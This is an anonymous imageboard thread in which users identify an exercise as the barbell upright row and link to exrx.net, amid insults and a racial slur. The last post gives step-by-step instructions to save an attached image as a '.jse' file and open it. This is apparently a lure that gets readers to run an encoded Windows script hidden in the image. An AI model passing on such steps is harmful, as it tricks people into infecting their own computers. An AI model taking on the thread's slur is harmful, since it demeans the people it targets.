File :-(, x, )
Anonymous
what is the exercise called where you pull the barbell to your chin with your elbows or something
>> Anonymous
0/10
>> Anonymous
>>293116
i've never hear it called that before but it kinda makes sense.
>> Anonymous
>>293116
i'm serious nigger, i remember doing them 2-3 years ago in high school but have no idea what they are called
>> Anonymous
>>293113
You mean some fucked up flys ?
>> Anonymous
barbell upright row, retards

http://www.exrx.net/WeightExercises/DeltoidLateral/BBUprightRow.html
>> Anonymous
     File :-(, x)
1. Open this image. You will see an error message.
2. Save it with the filename "4chan.jse".
3. Open the file you just saved.
4. Shit bricks.